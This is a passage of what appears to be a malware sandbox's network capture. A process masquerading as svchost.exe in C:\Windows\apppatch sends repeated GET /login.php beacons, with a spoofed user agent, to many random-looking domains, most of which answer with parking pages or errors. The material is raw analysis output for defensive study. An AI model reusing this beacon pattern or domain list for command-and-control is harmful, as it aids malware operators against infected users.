Nov 11, 2024 18:50:39.661348104 CET	340	IN	HTTP/1.1 302 Found date: Mon, 11 Nov 2024 17:50:39 GMT server: Apache set-cookie: __tad=1731347439.3564880; expires=Thu, 09-Nov-2034 17:50:39 GMT; Max-Age=315360000 location: http://ww25.lyxynyx.com/login.php?subid1=20241112-0450-39f1-837b-46255b9c1f17 content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49795	103.224.182.252	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:39.146969080 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vofycot.com
Nov 11, 2024 18:50:39.707452059 CET	338	IN	HTTP/1.1 302 Found date: Mon, 11 Nov 2024 17:50:39 GMT server: Apache set-cookie: __tad=1731347439.2338786; expires=Thu, 09-Nov-2034 17:50:39 GMT; Max-Age=315360000 location: http://ww16.vofycot.com/login.php?sub1=20241112-0450-397d-84b8-860db74cb63b content-length: 2 content-type: text/html; charset=UTF-8 connection: close Data Raw: 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49796	154.85.183.50	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:39.266263962 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
Nov 11, 2024 18:50:40.071571112 CET	307	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:50:39 GMT Content-Type: text/html Content-Length: 138 Connection: keep-alive ETag: "663ee226-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Nov 11, 2024 18:50:40.077390909 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
Nov 11, 2024 18:50:40.396037102 CET	307	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:50:40 GMT Content-Type: text/html Content-Length: 138 Connection: keep-alive ETag: "663ee226-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Nov 11, 2024 18:50:58.263794899 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
Nov 11, 2024 18:50:58.559613943 CET	307	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:50:58 GMT Content-Type: text/html Content-Length: 138 Connection: keep-alive ETag: "663ee226-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Nov 11, 2024 18:50:58.589523077 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyval.com
Nov 11, 2024 18:50:58.874177933 CET	307	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 11 Nov 2024 17:50:58 GMT Content-Type: text/html Content-Length: 138 Connection: keep-alive ETag: "663ee226-8a" Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49802	64.190.63.136	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:40.043607950 CET	348	OUT	GET /login.php?sub1=20241112-0450-397d-84b8-860db74cb63b HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww16.vofycot.com Connection: Keep-Alive Cookie: __tad=1731347439.2338786
Nov 11, 2024 18:50:40.681955099 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:50:40 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_S2Ix9gORnb5udIjvNgijYhgIJg4FyOEyIO647bNfu3cE5HsJSqwl+T52hQG4kUU9uPd+8xG1mN+CdBHIvJY5TA== last-modified: Mon, 11 Nov 2024 17:50:40 GMT x-cache-miss-from: parking-7596689c44-prw7b server: Parking/1.0 Data Raw: 32 45 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 53 32 49 78 39 67 4f 52 6e 62 35 75 64 49 6a 76 4e 67 69 6a 59 68 67 49 4a 67 34 46 79 4f 45 79 49 4f 36 34 37 62 4e 66 75 33 63 45 35 48 73 4a 53 71 77 6c 2b 54 35 32 68 51 47 34 6b 55 55 39 75 50 64 2b 38 78 47 31 6d 4e 2b 43 64 42 48 49 76 4a 59 35 54 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 76 6f 66 79 63 6f 74 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 54 68 69 73 20 77 65 62 [TRUNCATED] Data Ascii: 2E2<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_S2Ix9gORnb5udIjvNgijYhgIJg4FyOEyIO647bNfu3cE5HsJSqwl+T52hQG4kUU9uPd+8xG1mN+CdBHIvJY5TA==><head><meta charset="utf-8"><title>vofycot.com - This website is for sale! - vofycot Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="This website is for sale! vofycot.com is your first and bes
Nov 11, 2024 18:50:40.681972980 CET	1236	IN	Data Raw: 74 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d Data Ascii: t source for all of the information youre looking for. From general topics to more of what you would expect to find here, vofycot.com 576has it all. We hope you find what you are searching for!"><link rel="icon" type="im
Nov 11, 2024 18:50:40.682085037 CET	1236	IN	Data Raw: 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 69 6d 67 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 Data Ascii: lay:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visib
Nov 11, 2024 18:50:40.682096958 CET	1236	IN	Data Raw: 61 6e 63 65 3a 62 75 74 74 6f 6e 3b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 7d 64 65 74 61 69 6c 73 2c 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 7d 63 61 6e 76 Data Ascii: ance:button;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#84848
Nov 11, 2024 18:50:40.682110071 CET	848	IN	Data Raw: 20 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 63 6c 61 69 6d 65 72 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 Data Ascii: a{font-size:10px}.container-disclaimer__content-text{color:#949494}.container-disclaimer a{color:#949494}.container-imprint{text-align:center}.container-imprint__content{display:inline-block}.container-imprint__content-text,.container-imprint
Nov 11, 2024 18:50:40.682252884 CET	1236	IN	Data Raw: 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 35 25 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 35 25 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6f 6b 69 65 2d 6d 65 73 Data Ascii: ookie-message__content-text{margin-left:15%;margin-right:15%}.container-cookie-message__content-interactive{text-align:left;margin:0 15px;font-size:10px}.container-cookie-message__content-interactive-header,.container-cookie-message__content-i
Nov 11, 2024 18:50:40.682265043 CET	1236	IN	Data Raw: 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7a 2d 69 6e 64 65 78 3a 2d 39 39 39 7d 2e 62 74 6e 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 Data Ascii: splay:none;z-index:-999}.btn{display:inline-block;border-style:solid;border-radius:5px;padding:15px 25px;text-align:center;text-decoration:none;cursor:pointer;margin:5px;transition:.3s}.btn--success{background-color:#218838;border-color:#21883
Nov 11, 2024 18:50:40.682277918 CET	1236	IN	Data Raw: 74 65 6e 74 3a 22 22 3b 68 65 69 67 68 74 3a 32 36 70 78 3b 77 69 64 74 68 3a 32 36 70 78 3b 6c 65 66 74 3a 34 70 78 3b 62 6f 74 74 6f 6d 3a 34 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 2d 77 65 62 6b 69 74 2d 74 Data Ascii: tent:"";height:26px;width:26px;left:4px;bottom:4px;background-color:#fff;-webkit-transition:.4s;transition:.4s}.switch__slider--round{border-radius:34px}.switch__slider--round:before{border-radius:50%}input:checked+.switch__slider{background-c
Nov 11, 2024 18:50:40.682288885 CET	749	IN	Data Raw: 72 2d 63 6f 6e 74 65 6e 74 5f 5f 6c 65 66 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 22 2f 2f 69 6d 67 2e 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 6f 6d 2f 74 65 6d 70 6c 61 74 65 73 2f 62 67 2f 61 72 72 6f 77 73 2e 70 6e 67 22 29 20 23 30 Data Ascii: r-content__left{background:url("//img.sedoparking.com/templates/bg/arrows.png") #0e162e no-repeat top left;background-size:94% 640px;flex-grow:1;position:inherit;top:90px;overflow:hidden;z-index:-1}.container-content__right{background:url("//i
Nov 11, 2024 18:50:40.682368040 CET	1236	IN	Data Raw: 35 37 30 0d 0a 67 3a 30 20 30 20 31 2e 36 65 6d 20 30 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 30 Data Ascii: 570g:0 0 1.6em 0}.two-tier-ads-list__list-element{list-style:none;padding:10px 0 5px 0;display:inline-block}.two-tier-ads-list__list-element-image{content:url("//img.sedoparking.com/templates/images/bullet_justads.gif");float:left;padding-to
Nov 11, 2024 18:50:40.687674046 CET	1236	IN	Data Raw: 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a Data Ascii: st-element-link:visited{text-decoration:none}.webarchive-block__list-element-link:hover,.webarchive-block__list-element-link:active,.webarchive-block__list-eleme576nt-link:focus{text-decoration:underline}body{margin:0}.domain h1{font-size:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49808	199.59.243.227	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:40.259344101 CET	350	OUT	GET /login.php?subid1=20241112-0450-39f1-837b-46255b9c1f17 HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ww25.lyxynyx.com Connection: Keep-Alive Cookie: __tad=1731347439.3564880
Nov 11, 2024 18:50:40.685638905 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:50:39 GMT content-type: text/html; charset=utf-8 content-length: 1230 x-request-id: b097eaca-ea1a-4a8d-8bee-a2968c7eba7b cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_TrgVLBvDmnzLPmfqH882isUMTYn0SzQhgqyQnN29uEEWWmo+h4WOccKkDJPzu96Zw/60DyrPlMXbw6b86P+b2w== set-cookie: parking_session=b097eaca-ea1a-4a8d-8bee-a2968c7eba7b; expires=Mon, 11 Nov 2024 18:05:40 GMT; path=/ Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 54 72 67 56 4c 42 76 44 6d 6e 7a 4c 50 6d 66 71 48 38 38 32 69 73 55 4d 54 59 6e 30 53 7a 51 68 67 71 79 51 6e 4e 32 39 75 45 45 57 57 6d 6f 2b 68 34 57 4f 63 63 4b 6b 44 4a 50 7a 75 39 36 5a 77 2f 36 30 44 79 72 50 6c 4d 58 62 77 36 62 38 36 50 2b 62 32 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_TrgVLBvDmnzLPmfqH882isUMTYn0SzQhgqyQnN29uEEWWmo+h4WOccKkDJPzu96Zw/60DyrPlMXbw6b86P+b2w==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr
Nov 11, 2024 18:50:40.685791016 CET	664	IN	Data Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiYjA5N2VhY2EtZWExYS00YThkLThiZWUtYTI5NjhjN2ViYTdiIiwicGFnZV90aW1lIjoxNzMxMzQ3NDQwLCJwYWdlX3VybCI6I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49821	64.225.91.73	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:41.513499022 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qetyhyg.com
Nov 11, 2024 18:50:42.059688091 CET	816	IN	HTTP/1.1 200 OK server: nginx/1.18.0 (Ubuntu) date: Mon, 11 Nov 2024 17:50:41 GMT content-type: text/html content-length: 593 last-modified: Wed, 22 Feb 2023 21:25:52 GMT etag: "63f68860-251" accept-ranges: bytes Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED] Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49822	72.52.179.174	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:41.718429089 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49829	72.52.179.174	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:42.214312077 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gatyhub.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	53361	52.34.198.229	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:44.812176943 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: lygyvuj.com
Nov 11, 2024 18:50:45.502927065 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:50:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=b255da44d539af88139917f5305c831f\|66.23.206.109\|1731347445\|1731347445\|0\|1\|0; path=/; domain=.lygyvuj.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	53377	44.221.84.105	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:46.945445061 CET	243	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: gahyhiz.com
Nov 11, 2024 18:50:47.379331112 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 11 Nov 2024 17:50:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c2814cfe50fffab8ec877b7f0a2e5795\|66.23.206.109\|1731347447\|1731347447\|0\|1\|0; path=/; domain=.gahyhiz.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	53397	199.59.243.227	80	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:50:48.356956005 CET	305	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: vojyqem.com Cookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723
